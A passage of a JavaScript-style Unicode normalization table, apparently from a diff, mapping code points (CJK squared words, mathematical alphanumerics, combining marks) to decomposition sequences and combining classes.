13046: [[12521], 256], 13047: [[12522], 256], 13048: [[12523], 256], 13049: [[12524], 256], 13050: [[12525], 256], 13051: [[12527], 256], 13052: [[12528], 256], 13053: [[12529], 256], 13054: [[12530], 256] }, + 13056: { 13056: [[12450, 12497, 12540, 12488], 256], 13057: [[12450, 12523, 12501, 12449], 256], 13058: [[12450, 12531, 12506, 12450], 256], 13059: [[12450, 12540, 12523], 256], 13060: [[12452, 12491, 12531, 12464], 256], 13061: [[12452, 12531, 12481], 256], 13062: [[12454, 12457, 12531], 256], 13063: [[12456, 12473, 12463, 12540, 12489], 256], 13064: [[12456, 12540, 12459, 12540], 256], 13065: [[12458, 12531, 12473], 256], 13066: [[12458, 12540, 12512], 256], 13067: [[12459, 12452, 12522], 256], 13068: [[12459, 12521, 12483, 12488], 256], 13069: [[12459, 12525, 12522, 12540], 256], 13070: [[12460, 12525, 12531], 256], 13071: [[12460, 12531, 12510], 256], 13072: [[12462, 12460], 256], 13073: [[12462, 12491, 12540], 256], 13074: [[12461, 12517, 12522, 12540], 256], 13075: [[12462, 12523, 12480, 12540], 256], 13076: [[12461, 12525], 256], 13077: [[12461, 12525, 12464, 12521, 12512], 256], 13078: [[12461, 12525, 12513, 12540, 12488, 12523], 256], 13079: [[12461, 12525, 12527, 12483, 12488], 256], 13080: [[12464, 12521, 12512], 256], 13081: [[12464, 12521, 12512, 12488, 12531], 256], 13082: [[12463, 12523, 12476, 12452, 12525], 256], 13083: [[12463, 12525, 12540, 12493], 256], 13084: [[12465, 12540, 12473], 256], 13085: [[12467, 12523, 12490], 256], 13086: [[12467, 12540, 12509], 256], 13087: [[12469, 12452, 12463, 12523], 256], 13088: [[12469, 12531, 12481, 12540, 12512], 256], 13089: [[12471, 12522, 12531, 12464], 256], 13090: [[12475, 12531, 12481], 256], 13091: [[12475, 12531, 12488], 256], 13092: [[12480, 12540, 12473], 256], 13093: [[12487, 12471], 256], 13094: [[12489, 12523], 256], 13095: [[12488, 12531], 256], 13096: [[12490, 12494], 256], 13097: [[12494, 12483, 12488], 256], 13098: [[12495, 12452, 12484], 256], 13099: [[12497, 12540, 12475, 12531, 12488], 256], 13100: [[12497, 12540, 12484], 256], 13101: [[12496, 12540, 12524, 12523], 256], 13102: [[12500, 12450, 12473, 12488, 12523], 256], 13103: [[12500, 12463, 12523], 256], 13104: [[12500, 12467], 256], 13105: [[12499, 12523], 256], 13106: [[12501, 12449, 12521, 12483, 12489], 256], 13107: [[12501, 12451, 12540, 12488], 256], 13108: [[12502, 12483, 12471, 12455, 12523], 256], 13109: [[12501, 12521, 12531], 256], 13110: [[12504, 12463, 12479, 12540, 12523], 256], 13111: [[12506, 12477], 256], 13112: [[12506, 12491, 12498], 256], 13113: [[12504, 12523, 12484], 256], 13114: [[12506, 12531, 12473], 256], 13115: [[12506, 12540, 12472], 256], 13116: [[12505, 12540, 12479], 256], 13117: [[12509, 12452, 12531, 12488], 256], 13118: [[12508, 12523, 12488], 256], 13119: [[12507, 12531], 256], 13120: [[12509, 12531, 12489], 256], 13121: [[12507, 12540, 12523], 256], 13122: [[12507, 12540, 12531], 256], 13123: [[12510, 12452, 12463, 12525], 256], 13124: [[12510, 12452, 12523], 256], 13125: [[12510, 12483, 12495], 256], 13126: [[12510, 12523, 12463], 256], 13127: [[12510, 12531, 12471, 12519, 12531], 256], 13128: [[12511, 12463, 12525, 12531], 256], 13129: [[12511, 12522], 256], 13130: [[12511, 12522, 12496, 12540, 12523], 256], 13131: [[12513, 12460], 256], 13132: [[12513, 12460, 12488, 12531], 256], 13133: [[12513, 12540, 12488, 12523], 256], 13134: [[12516, 12540, 12489], 256], 13135: [[12516, 12540, 12523], 256], 13136: [[12518, 12450, 12531], 256], 13137: [[12522, 12483, 12488, 12523], 256], 13138: [[12522, 12521], 256], 13139: [[12523, 12500, 12540], 256], 13140: [[12523, 12540, 12502, 12523], 256], 13141: [[12524, 12512], 256], 13142: [[12524, 12531, 12488, 12466, 12531], 256], 13143: [[12527, 12483, 12488], 256], 13144: [[48, 28857], 256], 13145: [[49, 28857], 256], 13146: [[50, 28857], 256], 13147: [[51, 28857], 256], 13148: [[52, 28857], 256], 13149: [[53, 28857], 256], 13150: [[54, 28857], 256], 13151: [[55, 28857], 256], 13152: [[56, 28857], 256], 13153: [[57, 28857], 256], 13154: [[49, 48, 28857], 256], 13155: [[49, 49, 28857], 256], 13156: [[49, 50, 28857], 256], 13157: [[49, 51, 28857], 256], 13158: [[49, 52, 28857], 256], 13159: [[49, 53, 28857], 256], 13160: [[49, 54, 28857], 256], 13161: [[49, 55, 28857], 256], 13162: [[49, 56, 28857], 256], 13163: [[49, 57, 28857], 256], 13164: [[50, 48, 28857], 256], 13165: [[50, 49, 28857], 256], 13166: [[50, 50, 28857], 256], 13167: [[50, 51, 28857], 256], 13168: [[50, 52, 28857], 256], 13169: [[104, 80, 97], 256], 13170: [[100, 97], 256], 13171: [[65, 85], 256], 13172: [[98, 97, 114], 256], 13173: [[111, 86], 256], 13174: [[112, 99], 256], 13175: [[100, 109], 256], 13176: [[100, 109, 178], 256], 13177: [[100, 109, 179], 256], 13178: [[73, 85], 256], 13179: [[24179, 25104], 256], 13180: [[26157, 21644], 256], 13181: [[22823, 27491], 256], 13182: [[26126, 27835], 256], 13183: [[26666, 24335, 20250, 31038], 256], 13184: [[112, 65], 256], 13185: [[110, 65], 256], 13186: [[956, 65], 256], 13187: [[109, 65], 256], 13188: [[107, 65], 256], 13189: [[75, 66], 256], 13190: [[77, 66], 256], 13191: [[71, 66], 256], 13192: [[99, 97, 108], 256], 13193: [[107, 99, 97, 108], 256], 13194: [[112, 70], 256], 13195: [[110, 70], 256], 13196: [[956, 70], 256], 13197: [[956, 103], 256], 13198: [[109, 103], 256], 13199: [[107, 103], 256], 13200: [[72, 122], 256], 13201: [[107, 72, 122], 256], 13202: [[77, 72, 122], 256], 13203: [[71, 72, 122], 256], 13204: [[84, 72, 122], 256], 13205: [[956, 8467], 256], 13206: [[109, 8467], 256], 13207: [[100, 8467], 256], 13208: [[107, 8467], 256], 13209: [[102, 109], 256], 13210: [[110, 109], 256], 13211: [[956, 109], 256], 13212: [[109, 109], 256], 13213: [[99, 109], 256], 13214: [[107, 109], 256], 13215: [[109, 109, 178], 256], 13216: [[99, 109, 178], 256], 13217: [[109, 178], 256], 13218: [[107, 109, 178], 256], 13219: [[109, 109, 179], 256], 13220: [[99, 109, 179], 256], 13221: [[109, 179], 256], 13222: [[107, 109, 179], 256], 13223: [[109, 8725, 115], 256], 13224: [[109, 8725, 115, 178], 256], 13225: [[80, 97], 256], 13226: [[107, 80, 97], 256], 13227: [[77, 80, 97], 256], 13228: [[71, 80, 97], 256], 13229: [[114, 97, 100], 256], 13230: [[114, 97, 100, 8725, 115], 256], 13231: [[114, 97, 100, 8725, 115, 178], 256], 13232: [[112, 115], 256], 13233: [[110, 115], 256], 13234: [[956, 115], 256], 13235: [[109, 115], 256], 13236: [[112, 86], 256], 13237: [[110, 86], 256], 13238: [[956, 86], 256], 13239: [[109, 86], 256], 13240: [[107, 86], 256], 13241: [[77, 86], 256], 13242: [[112, 87], 256], 13243: [[110, 87], 256], 13244: [[956, 87], 256], 13245: [[109, 87], 256], 13246: [[107, 87], 256], 13247: [[77, 87], 256], 13248: [[107, 937], 256], 13249: [[77, 937], 256], 13250: [[97, 46, 109, 46], 256], 13251: [[66, 113], 256], 13252: [[99, 99], 256], 13253: [[99, 100], 256], 13254: [[67, 8725, 107, 103], 256], 13255: [[67, 111, 46], 256], 13256: [[100, 66], 256], 13257: [[71, 121], 256], 13258: [[104, 97], 256], 13259: [[72, 80], 256], 13260: [[105, 110], 256], 13261: [[75, 75], 256], 13262: [[75, 77], 256], 13263: [[107, 116], 256], 13264: [[108, 109], 256], 13265: [[108, 110], 256], 13266: [[108, 111, 103], 256], 13267: [[108, 120], 256], 13268: [[109, 98], 256], 13269: [[109, 105, 108], 256], 13270: [[109, 111, 108], 256], 13271: [[80, 72], 256], 13272: [[112, 46, 109, 46], 256], 13273: [[80, 80, 77], 256], 13274: [[80, 82], 256], 13275: [[115, 114], 256], 13276: [[83, 118], 256], 13277: [[87, 98], 256], 13278: [[86, 8725, 109], 256], 13279: [[65, 8725, 109], 256], 13280: [[49, 26085], 256], 13281: [[50, 26085], 256], 13282: [[51, 26085], 256], 13283: [[52, 26085], 256], 13284: [[53, 26085], 256], 13285: [[54, 26085], 256], 13286: [[55, 26085], 256], 13287: [[56, 26085], 256], 13288: [[57, 26085], 256], 13289: [[49, 48, 26085], 256], 13290: [[49, 49, 26085], 256], 13291: [[49, 50, 26085], 256], 13292: [[49, 51, 26085], 256], 13293: [[49, 52, 26085], 256], 13294: [[49, 53, 26085], 256], 13295: [[49, 54, 26085], 256], 13296: [[49, 55, 26085], 256], 13297: [[49, 56, 26085], 256], 13298: [[49, 57, 26085], 256], 13299: [[50, 48, 26085], 256], 13300: [[50, 49, 26085], 256], 13301: [[50, 50, 26085], 256], 13302: [[50, 51, 26085], 256], 13303: [[50, 52, 26085], 256], 13304: [[50, 53, 26085], 256], 13305: [[50, 54, 26085], 256], 13306: [[50, 55, 26085], 256], 13307: [[50, 56, 26085], 256], 13308: [[50, 57, 26085], 256], 13309: [[51, 48, 26085], 256], 13310: [[51, 49, 26085], 256], 13311: [[103, 97, 108], 256] }, + 27136: { 92912: [, 1], 92913: [, 1], 92914: [, 1], 92915: [, 1], 92916: [, 1] }, + 27392: { 92976: [, 230], 92977: [, 230], 92978: [, 230], 92979: [, 230], 92980: [, 230], 92981: [, 230], 92982: [, 230] }, + 42496: { 42607: [, 230], 42612: [, 230], 42613: [, 230], 42614: [, 230], 42615: [, 230], 42616: [, 230], 42617: [, 230], 42618: [, 230], 42619: [, 230], 42620: [, 230], 42621: [, 230], 42652: [[1098], 256], 42653: [[1100], 256], 42655: [, 230], 42736: [, 230], 42737: [, 230] }, + 42752: { 42864: [[42863], 256], 43000: [[294], 256], 43001: [[339], 256] }, + 43008: { 43014: [, 9], 43204: [, 9], 43232: [, 230], 43233: [, 230], 43234: [, 230], 43235: [, 230], 43236: [, 230], 43237: [, 230], 43238: [, 230], 43239: [, 230], 43240: [, 230], 43241: [, 230], 43242: [, 230], 43243: [, 230], 43244: [, 230], 43245: [, 230], 43246: [, 230], 43247: [, 230], 43248: [, 230], 43249: [, 230] }, + 43264: { 43307: [, 220], 43308: [, 220], 43309: [, 220], 43347: [, 9], 43443: [, 7], 43456: [, 9] }, + 43520: { 43696: [, 230], 43698: [, 230], 43699: [, 230], 43700: [, 220], 43703: [, 230], 43704: [, 230], 43710: [, 230], 43711: [, 230], 43713: [, 230], 43766: [, 9] }, + 43776: { 43868: [[42791], 256], 43869: [[43831], 256], 43870: [[619], 256], 43871: [[43858], 256], 44013: [, 9] }, + 48128: { 113822: [, 1] }, + 53504: { 119134: [[119127, 119141], 512], 119135: [[119128, 119141], 512], 119136: [[119135, 119150], 512], 119137: [[119135, 119151], 512], 119138: [[119135, 119152], 512], 119139: [[119135, 119153], 512], 119140: [[119135, 119154], 512], 119141: [, 216], 119142: [, 216], 119143: [, 1], 119144: [, 1], 119145: [, 1], 119149: [, 226], 119150: [, 216], 119151: [, 216], 119152: [, 216], 119153: [, 216], 119154: [, 216], 119163: [, 220], 119164: [, 220], 119165: [, 220], 119166: [, 220], 119167: [, 220], 119168: [, 220], 119169: [, 220], 119170: [, 220], 119173: [, 230], 119174: [, 230], 119175: [, 230], 119176: [, 230], 119177: [, 230], 119178: [, 220], 119179: [, 220], 119210: [, 230], 119211: [, 230], 119212: [, 230], 119213: [, 230], 119227: [[119225, 119141], 512], 119228: [[119226, 119141], 512], 119229: [[119227, 119150], 512], 119230: [[119228, 119150], 512], 119231: [[119227, 119151], 512], 119232: [[119228, 119151], 512] }, + 53760: { 119362: [, 230], 119363: [, 230], 119364: [, 230] }, + 54272: { 119808: [[65], 256], 119809: [[66], 256], 119810: [[67], 256], 119811: [[68], 256], 119812: [[69], 256], 119813: [[70], 256], 119814: [[71], 256], 119815: [[72], 256], 119816: [[73], 256], 119817: [[74], 256], 119818: [[75], 256], 119819: [[76], 256], 119820: [[77], 256], 119821: [[78], 256], 119822: [[79], 256], 119823: [[80], 256], 119824: [[81], 256], 119825: [[82], 256], 119826: [[83], 256], 119827: [[84], 256], 119828: [[85], 256], 119829: [[86], 256], 119830: [[87], 256], 119831: [[88], 256], 119832: [[89], 256], 119833: [[90], 256], 119834: [[97], 256], 119835: [[98], 256], 119836: [[99], 256], 119837: [[100], 256], 119838: [[101], 256], 119839: [[102], 256], 119840: [[103], 256], 119841: [[104], 256], 119842: [[105], 256], 119843: [[106], 256], 119844: [[107], 256], 119845: [[108], 256], 119846: [[109], 256], 119847: [[110], 256], 119848: [[111], 256], 119849: [[112], 256], 119850: [[113], 256], 119851: [[114], 256], 119852: [[115], 256], 119853: [[116], 256], 119854: [[117], 256], 119855: [[118], 256], 119856: [[119], 256], 119857: [[120], 256], 119858: [[121], 256], 119859: [[122], 256], 119860: [[65], 256], 119861: [[66], 256], 119862: [[67], 256], 119863: [[68], 256], 119864: [[69], 256], 119865: [[70], 256], 119866: [[71], 256], 119867: [[72], 256], 119868: [[73], 256], 119869: [[74], 256], 119870: [[75], 256], 119871: [[76], 256], 119872: [[77], 256], 119873: [[78], 256], 119874: [[79], 256], 119875: [[80], 256], 119876: [[81], 256], 119877: [[82], 256], 119878: [[83], 256], 119879: [[84], 256], 119880: [[85], 256], 119881: [[86], 256], 119882: [[87], 256], 119883: [[88], 256], 119884: [[89], 256], 119885: [[90], 256], 119886: [[97], 256], 119887: [[98], 256], 119888: [[99], 256], 119889: [[100], 256], 119890: [[101], 256], 119891: [[102], 256], 119892: [[103], 256], 119894: [[105], 256], 119895: [[106], 256], 119896: [[107], 256], 119897: [[108], 256], 119898: [[109], 256], 119899: [[110], 256], 119900: [[111], 256], 119901: [[112], 256], 119902: [[113], 256], 119903: [[114], 256], 119904: [[115], 256], 119905: [[116], 256], 119906: [[117], 256], 119907: [[118], 256], 119908: [[119], 256], 119909: [[120], 256], 119910: [[121], 256], 119911: [[122], 256], 119912: [[65], 256], 119913: [[66], 256], 119914: [[67], 256], 119915: [[68], 256], 119916: [[69], 256], 119917: [[70], 256], 119918: [[71], 256], 119919: [[72], 256], 119920: [[73], 256], 119921: [[74], 256], 119922: [[75], 256], 119923: [[76], 256], 119924: [[77], 256], 119925: [[78], 256], 119926: [[79], 256], 119927: [[80], 256], 119928: [[81], 256], 119929: [[82], 256], 119930: [[83], 256], 119931: [[84], 256], 119932: [[85], 256], 119933: [[86], 256], 119934: [[87], 256], 119935: [[88], 256], 119936: [[89], 256], 119937: [[90], 256], 119938: [[97], 256], 119939: [[98], 256], 119940: [[99], 256], 119941: [[100], 256], 119942: [[101], 256], 119943: [[102], 256], 119944: [[103], 256], 119945: [[104], 256], 119946: [[105], 256], 119947: [[106], 256], 119948: [[107], 256], 119949: [[108], 256], 119950: [[109], 256], 119951: [[110], 256], 119952: [[111], 256], 119953: [[112], 256], 119954: [[113], 256], 119955: [[114], 256], 119956: [[115], 256], 119957: [[116], 256], 119958: [[117], 256], 119959: [[118], 256], 119960: [[119], 256], 119961: [[120], 256], 119962: [[121], 256], 119963: [[122], 256], 119964: [[65], 256], 119966: [[67], 256], 119967: [[68], 256], 119970: [[71], 256], 119973: [[74], 256], 119974: [[75], 256], 119977: [[78], 256], 119978: [[79], 256], 119979: [[80], 256], 119980: [[81], 256], 119982: [[83], 256], 119983: [[84], 256], 119984: [[85], 256], 119985: [[86], 256], 119986: [[87], 256], 119987: [[88], 256], 119988: [[89], 256], 119989: [[90], 256], 119990: [[97], 256], 119991: [[98], 256], 119992: [[99], 256], 119993: [[100], 256], 119995: [[102], 256], 119997: [[104], 256], 119998: [[105], 256], 119999: [[106], 256], 120000: [[107], 256], 120001: [[108], 256], 120002: [[109], 256], 120003: [[110], 256], 120005: [[112], 256], 120006: [[113], 256], 120007: [[114], 256], 120008: [[115], 256], 120009: [[116], 256], 120010: [[117], 256], 120011: [[118], 256], 120012: [[119], 256], 120013: [[120], 256], 120014: [[121], 256], 120015: [[122], 256], 120016: [[65], 256], 120017: [[66], 256], 120018: [[67], 256], 120019: [[68], 256], 120020: [[69], 256], 120021: [[70], 256], 120022: [[71], 256], 120023: [[72], 256], 120024: [[73], 256], 120025: [[74], 256], 120026: [[75], 256], 120027: [[76], 256], 120028: [[77], 256], 120029: [[78], 256], 120030: [[79], 256], 120031: [[80], 256], 120032: [[81], 256], 120033: [[82], 256], 120034: [[83], 256], 120035: [[84], 256], 120036: [[85], 256], 120037: [[86], 256], 120038: [[87], 256], 120039: [[88], 256], 120040: [[89], 256], 120041: [[90], 256], 120042: [[97], 256], 120043: [[98], 256], 120044: [[99], 256], 120045: [[100], 256], 120046: [[101], 256], 120047: [[102], 256], 120048: [[103], 256], 120049: [[104], 256], 120050: [[105], 256], 120051: [[106], 256], 120052: [[107], 256], 120053: [[108], 256], 120054: [[109], 256], 120055: [[110], 256], 120056: [[111], 256], 120057: [[112], 256], 120058: [[113], 256], 120059: [[114], 256], 120060: [[115], 256], 120061: [[116], 256], 120062: [[117], 256], 120063: [[118], 256] }, + 54528: { 120064: [[119], 256], 120065: [[120], 256], 120066: [[121], 256], 120067: [[122], 256], 120068: [[65], 256], 120069: [[66], 256], 120071: [[68], 256], 120072: [[69], 256], 120073: [[70], 256], 120074: [[71], 256], 120077: [[74], 256], 120078: [[75], 256], 120079: [[76], 256], 120080: [[77], 256], 120081: [[78], 256], 120082: [[79], 256], 120083: [[80], 256], 120084: [[81], 256], 120086: [[83], 256], 120087: [[84], 256], 120088: [[85], 256], 120089: [[86], 256], 120090: [[87], 256], 120091: [[88], 256], 120092: [[89], 256], 120094: [[97], 256], 120095: [[98], 256], 120096: [[99], 256], 120097: [[100], 256], 120098: [[101], 256], 120099: [[102], 256], 120100: [[103], 256], 120101: [[104], 256], 120102: [[105], 256], 120103: [[106], 256], 120104: [[107], 256], 120105: [[108], 256], 120106: [[109], 256], 120107: [[110], 256], 120108: [[111], 256], 120109: [[112], 256], 120110: [[113], 256], 120111: [[114], 256], 120112: [[115], 256], 120113: [[116], 256], 120114: [[117], 256], 120115: [[118], 256], 120116: [[119], 256], 120117: [[120], 256], 120118: [[121], 256], 120119: [[122], 256], 120120: [[65], 256], 120121: [[66], 256], 120123: [[68], 256], 120124: [[69], 256], 120125: [[70], 256], 120126: [[71], 256], 120128: [[73], 256], 120129: [[74], 256], 120130: [[75], 256], 120131: [[76], 256], 120132: [[77], 256], 120134: [[79], 256], 120138: [[83], 256], 120139: [[84], 256], 120140: [[85], 256], 120141: [[86], 256], 120142: [[87], 256], 120143: [[88], 256], 120144: [[89], 256], 120146: [[97], 256], 120147: [[98], 256], 120148: [[99], 256], 120149: [[100], 256], 120150: [[101], 256], 120151: [[102], 256], 120152: [[103], 256], 120153: [[104], 256], 120154: [[105], 256], 120155: [[106], 256], 120156: [[107], 256], 120157: [[108], 256], 120158: [[109], 256], 120159: [[110], 256], 120160: [[111], 256], 120161: [[112], 256], 120162: [[113], 256], 120163: [[114], 256], 120164: [[115], 256], 120165: [[116], 256], 120166: [[117], 256], 120167: [[118], 256], 120168: [[119], 256], 120169: [[120], 256], 120170: [[121], 256], 120171: [[122], 256], 120172: [[65], 256], 120173: [[66], 256], 120174: [[67], 256], 120175: [[68], 256], 120176: [[69], 256], 120177: [[70], 256], 120178: [[71], 256], 120179: [[72], 256], 120180: [[73], 256], 120181: [[74], 256], 120182: [[75], 256], 120183: [[76], 256], 120184: [[77], 256], 120185: [[78], 256], 120186: [[79], 256], 120187: [[80], 256], 120188: [[81], 256], 120189: [[82], 256], 120190: [[83], 256], 120191: [[84], 256], 120192: [[85], 256], 120193: [[86], 256], 120194: [[87], 256], 120195: [[88], 256], 120196: [[89], 256], 120197: [[90], 256], 120198: [[97], 256], 120199: [[98], 256], 120200: [[99], 256], 120201: [[100], 256], 120202: [[101], 256], 120203: [[102], 256], 120204: [[103], 256], 120205: [[104], 256], 120206: [[105], 256], 120207: [[106], 256], 120208: [[107], 256], 120209: [[108], 256], 120210: [[109], 256], 120211: [[110], 256], 120212: [[111], 256], 120213: [[112], 256], 120214: [[113], 256], 120215: [[114], 256], 120216: [[115], 256], 120217: [[116], 256], 120218: [[117], 256], 120219: [[118], 256], 120220: [[119], 256], 120221: [[120], 256], 120222: [[121], 256], 120223: [[122], 256], 120224: [[65], 256], 120225: [[66], 256], 120226: [[67], 256], 120227: [[68], 256], 120228: [[69], 256], 120229: [[70], 256], 120230: [[71], 256], 120231: [[72], 256], 120232: [[73], 256], 120233: [[74], 256], 120234: [[75], 256], 120235: [[76], 256], 120236: [[77], 256], 120237: [[78], 256], 120238: [[79], 256], 120239: [[80], 256], 120240: [[81], 256], 120241: [[82], 256], 120242: [[83], 256], 120243: [[84], 256], 120244: [[85], 256], 120245: [[86], 256], 120246: [[87], 256], 120247: [[88], 256], 120248: [[89], 256], 120249: [[90], 256], 120250: [[97], 256], 120251: [[98], 256], 120252: [[99], 256], 120253: [[100], 256], 120254: [[101], 256], 120255: [[102], 256], 120256: [[103], 256], 120257: [[104], 256], 120258: [[105], 256], 120259: [[106], 256], 120260: [[107], 256], 120261: [[108], 256], 120262: [[109], 256], 120263: [[110], 256], 120264: [[111], 256], 120265: [[112], 256], 120266: [[113], 256], 120267: [[114], 256], 120268: [[115], 256], 120269: [[116], 256], 120270: [[117], 256], 120271: [[118], 256], 120272: [[119], 256], 120273: [[120], 256], 120274: [[121], 256], 120275: [[122], 256], 120276: [[65], 256], 120277: [[66], 256], 120278: [[67], 256], 120279: [[68], 256], 120280: [[69], 256], 120281: [[70], 256], 120282: [[71], 256], 120283: [[72], 256], 120284: [[73], 256], 120285: [[74], 256], 120286: [[75], 256], 120287: [[76], 256], 120288: [[77], 256], 120289: [[78], 256], 120290: [[79], 256], 120291: [[80], 256], 120292: [[81], 256], 120293: [[82], 256], 120294: [[83], 256], 120295: [[84], 256], 120296: [[85], 256], 120297: [[86], 256], 120298: [[87], 256], 120299: [[88], 256], 120300: [[89], 256], 120301: [[90], 256], 120302: [[97], 256], 120303: [[98], 256], 120304: [[99], 256], 120305: [[100], 256], 120306: [[101], 256], 120307: [[102], 256], 120308: [[103], 256], 120309: [[104], 256], 120310: [[105], 256], 120311: [[106], 256], 120312: [[107], 256], 120313: [[108], 256], 120314: [[109], 256], 120315: [[110], 256], 120316: [[111], 256], 120317: [[112], 256], 120318: [[113], 256], 120319: [[114], 256] }, + 54784: { 120320: [[115], 256], 120321: [[116], 256], 120322: [[117], 256], 120323: [[118], 256], 120324: [[119], 256], 120325: [[120], 256], 120326: [[121], 256], 120327: [[122], 256], 120328: [[65], 256], 120329: [[66], 256], 120330: [[67], 256], 120331: [[68], 256], 120332: [[69], 256], 120333: [[70], 256], 120334: [[71], 256], 120335: [[72], 256], 120336: [[73], 256], 120337: [[74], 256], 120338: [[75], 256], 120339: [[76], 256], 120340: [[77], 256], 120341: [[78], 256], 120342: [[79], 256], 120343: [[80], 256], 120344: [[81], 256], 120345: [[82], 256], 120346: [[83], 256], 120347: [[84], 256], 120348: [[85], 256], 120349: [[86], 256], 120350: [[87], 256], 120351: [[88], 256], 120352: [[89], 256], 120353: [[90], 256], 120354: [[97], 256], 120355: [[98], 256], 120356: [[99], 256], 120357: [[100], 256], 120358: [[101], 256], 120359: [[102], 256], 120360: [[103], 256], 120361: [[104], 256], 120362: [[105], 256], 120363: [[106], 256], 120364: [[107], 256], 120365: [[108], 256], 120366: [[109], 256], 120367: [[110], 256], 120368: [[111], 256], 120369: [[112], 256], 120370: [[113], 256], 120371: [[114], 256], 120372: [[115], 256], 120373: [[116], 256], 120374: [[117], 256], 120375: [[118], 256], 120376: [[119], 256], 120377: [[120], 256], 120378: [[121], 256], 120379: [[122], 256], 120380: [[65], 256], 120381: [[66], 256], 120382: [[67], 256], 120383: [[68], 256], 120384: [[69], 256], 120385: [[70], 256], 120386: [[71], 256], 120387: [[72], 256], 120388: [[73], 256], 120389: [[74], 256], 120390: [[75], 256], 120391: [[76], 256], 120392: [[77], 256], 120393: [[78], 256], 120394: [[79], 256], 120395: [[80], 256], 120396: [[81], 256], 120397: [[82], 256], 120398: [[83], 256], 120399: [[84], 256], 120400: [[85], 256], 120401: [[86], 256], 120402: [[87], 256], 120403: [[88], 256], 120404: [[89], 256], 120405: [[90], 256], 120406: [[97], 256], 120407: [[98], 256], 120408: [[99], 256], 120409: [[100], 256], 120410: [[101], 256], 120411: [[102], 256], 120412: [[103], 256], 120413: [[104], 256], 120414: [[105], 256], 120415: [[106], 256], 120416: [[107], 256], 120417: [[108], 256], 120418: [[109], 256], 120419: [[110], 256], 120420: [[111], 256], 120421: [[112], 256], 120422: [[113], 256], 120423: [[114], 256], 120424: [[115], 256], 120425: [[116], 256], 120426: [[117], 256], 120427: [[118], 256], 120428: [[119], 256], 120429: [[120], 256], 120430: [[121], 256], 120431: [[122], 256], 120432: [[65], 256], 120433: [[66], 256], 120434: [[67], 256], 120435: [[68], 256], 120436: [[69], 256], 120437: [[70], 256], 120438: [[71], 256], 120439: [[72], 256], 120440: [[73], 256], 120441: [[74], 256], 120442: [[75], 256], 120443: [[76], 256], 120444: [[77], 256], 120445: [[78], 256], 120446: [[79], 256], 120447: [[80], 256], 120448: [[81], 256], 120449: [[82], 256], 120450: [[83], 256], 120451: [[84], 256], 120452: [[85], 256], 120453: [[86], 256], 120454: [[87], 256], 120455: [[88], 256], 120456: [[89], 256], 120457: [[90], 256], 120458: [[97], 256], 120459: [[98], 256], 120460: [[99], 256], 120461: [[100], 256], 120462: [[101], 256], 120463: [[102], 256], 120464: [[103], 256], 120465: [[104], 256], 120466: [[105], 256], 120467: [[106], 256], 120468: [[107], 256], 120469: [[108], 256], 120470: [[109], 256], 120471: [[110], 256], 120472: [[111], 256], 120473: [[112], 256], 120474: [[113], 256], 120475: [[114], 256], 120476: [[115], 256], 120477: [[116], 256], 120478: [[117], 256], 120479: [[118], 256], 120480: [[119], 256], 120481: [[120], 256], 120482: [[121], 256], 120483: [[122], 256], 120484: [[305], 256], 120485: [[567], 256], 120488: [[913], 256], 120489: [[914], 256], 120490: [[915], 256], 120491: [[916], 256], 120492: [[917], 256], 120493: [[918], 256], 120494: [[919], 256], 120495: [[920], 256], 120496: [[921], 256], 120497: [[922], 256], 120498: [[923], 256], 120499: [[924], 256], 120500: [[925], 256], 120501: [[926], 256], 120502: [[927], 256], 120503: [[928], 256], 120504: [[929], 256], 120505: [[1012], 256], 120506: [[931], 256], 120507: [[932], 256], 120508: [[933], 256], 120509: [[934], 256], 120510: [[935], 256], 120511: [[936], 256], 120512: [[937], 256], 120513: [[8711], 256], 120514: [[945], 256], 120515: [[946], 256], 120516: [[947], 256], 120517: [[948], 256], 120518: [[949], 256], 120519: [[950], 256], 120520: [[951], 256], 120521: [[952], 256], 120522: [[953], 256], 120523: [[954], 256], 120524: [[955], 256], 120525: [[956], 256], 120526: [[957], 256], 120527: [[958], 256], 120528: [[959], 256], 120529: [[960], 256], 120530: [[961], 256], 120531: [[962], 256], 120532: [[963], 256], 120533: [[964], 256], 120534: [[965], 256], 120535: [[966], 256], 120536: [[967], 256], 120537: [[968], 256], 120538: [[969], 256], 120539: [[8706], 256], 120540: [[1013], 256], 120541: [[977], 256], 120542: [[1008], 256], 120543: [[981], 256], 120544: [[1009], 256], 120545: [[982], 256], 120546: [[913], 256], 120547: [[914], 256], 120548: [[915], 256], 120549: [[916], 256], 120550: [[917], 256], 120551: [[918], 256], 120552: [[919], 256], 120553: [[920], 256], 120554: [[921], 256], 120555: [[922], 256], 120556: [[923], 256], 120557: [[924], 256], 120558: [[925], 256], 120559: [[926], 256], 120560: [[927], 256], 120561: [[928], 256], 120562: [[929], 256], 120563: [[1012], 256], 120564: [[931], 256], 120565: [[932], 256], 120566: [[933], 256], 120567: [[934], 256], 120568: [[935], 256], 120569: [[936], 256], 120570: [[937], 256], 120571: [[8711], 256], 120572: [[945], 256], 120573: [[946], 256], 120574: [[947], 256], 120575: [[948], 256] }, + 55040: { 120576: [[949], 256], 120577: [[950], 256], 120578: [[951], 256], 120579: [[952], 256], 120580: [[953], 256], 120581: [[954], 256], 120582: [[955], 256], 120583: [[956], 256], 120584: [[957], 256], 120585: [[958], 256], 120586: [[959], 256], 120587: [[960], 256], 120588: [[961], 256], 120589: [[962], 256], 120590: [[963], 256], 120591: [[964], 256], 120592: [[965], 256], 120593: [[966], 256], 120594: [[967], 256], 120595: [[968], 256], 120596: [[969], 256], 120597: [[8706], 256], 120598: [[1013], 256], 120599: [[977], 256], 120600: [[1008], 256], 120601: [[981], 256], 120602: [[1009], 256], 120603: [[982], 256], 120604: [[913], 256], 120605: [[914], 256], 120606: [[915], 256], 120607: [[916], 256], 120608: [[917], 256], 120609: [[918], 256], 120610: [[919], 256], 120611: [[920], 256], 120612: [[921], 256], 120613: [[922], 256], 120614: [[923], 256], 120615: [[924], 256], 120616: [[925], 256], 120617: [[926], 256], 120618: [[927], 256], 120619: [[928], 256], 120620: [[929], 256], 120621: [[1012], 256], 120622: [[931], 256], 120623: [[932], 256], 120624: [[933], 256], 120625: [[934], 256], 120626: [[935], 256], 120627: [[936], 256], 120628: [[937], 256], 120629: [[8711], 256], 120630: [[945], 256], 120631: [[946], 256], 120632: [[947], 256], 120633: [[948], 256], 120634: [[949], 256], 120635: [[950], 256], 120636: [[951], 256], 120637: [[952], 256], 120638: [[953], 256], 120639: [[954], 256], 120640: [[955], 256], 120641: [[956], 256], 120642: [[957], 256], 120643: [[958], 256], 120644: [[959], 256], 120645: [[960], 256], 120646: [[961], 256], 120647: [[962], 256], 120648: [[963], 256], 120649: 